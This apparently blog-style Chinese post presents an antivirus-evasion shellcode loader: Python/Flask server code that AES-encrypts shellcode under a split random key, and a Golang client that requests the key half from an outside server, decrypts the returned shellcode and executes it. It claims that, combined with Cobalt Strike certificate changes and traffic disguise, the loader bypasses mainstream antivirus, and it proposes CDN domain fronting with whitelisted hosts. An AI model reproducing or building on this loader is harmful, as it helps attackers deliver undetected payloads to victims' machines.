大致思路:
https://mp.weixin.qq.com/s/Zs_fCqZfzdzHTwVPvshFyQ
他的思路跟我之前的想法差不多,但是我觉得还可以再花里胡哨一点,哈哈哈。
我使用Golang(客户端)+Python和flask(服务端)来搭建这套免杀系统。
主要原理:
服务端关键代码:
AES加密shellcode:
def AES_Encrypt(key, data):
#传入完整的Key和原始Shellcode
# 密钥(key), 密斯偏移量(iv) CBC模式加密
BLOCK_SIZE = 16 # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
vi = '3010201735544643'
data = pad(data)
# 字符串补位
cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
encryptedbytes = cipher.encrypt(data.encode('utf8'))
# 加密后得到的是bytes类型的数据,使用Base64进行编码,返回byte字符串
encodestrs = base64.b64encode(encryptedbytes)
# 对byte字符串按utf-8进行解码
enctext = encodestrs.decode('utf8')
return enctext #返回加密后的shellcode
服务端生成随机字符串
def Rand_Str(num): #给一个数值,代表要生成多少位的随机字符串。
H = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
salt = ''
for i in range(num):
salt += random.choice(H)
return salt #返回服务端生成的后半段Key值
客户端生成随机字符串(前半段Key值)函数:
func RandString(n int) string {
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var src = rand.NewSource(time.Now().UnixNano())
const (
letterIdxBits = 6
letterIdxMask = 1<<letterIdxBits - 1
letterIdxMax = 63 / letterIdxBits
)
b := make([]byte, n)
for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = src.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}
客户端发送前半段Key值:
func GetData() {
var a string = RandString(8) //客户端前半段Key值
var iv = []byte("3010201735544643") //固定Iv值
params := url.Values{}
Url, err := url.Parse("http://192.168.160.130:5000/")
if err != nil {
return
}
params.Set("info",a)
//如果参数中有中文参数,这个方法会进行URLEncode
Url.RawQuery = params.Encode()
urlPath := Url.String()
resp,err := http.Get(urlPath)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
var s AutoGenerated
str := body
json.Unmarshal([]byte(str), &s)
// 遍历Json,解析Json数据,获取后半段Key
var key string = a + s.Status //完整的Key
decryptCode := AesDecrypt(string(s.Sign), key,iv)
Run_sc(decryptCode) //运行解密后的Shellcode
}
主要提供了一个思路,完整代码就不放了,免得有什么问题。我的代码都是百度然后自己拼凑的,没有太多技术含量。
这个思路目前应该还是挺好用的,配合CS的证书修改和流量伪装,基本可以过主流杀软。
并且,后期打算,使用CDN。Golang客户端发送请求时,利用Aliyun的CDN,可以指定Host为一些白名单域名。这样效果会更好一些。
并且最好去搜集一些大网站的参数,这样我们GET请求的Key不容易被识别。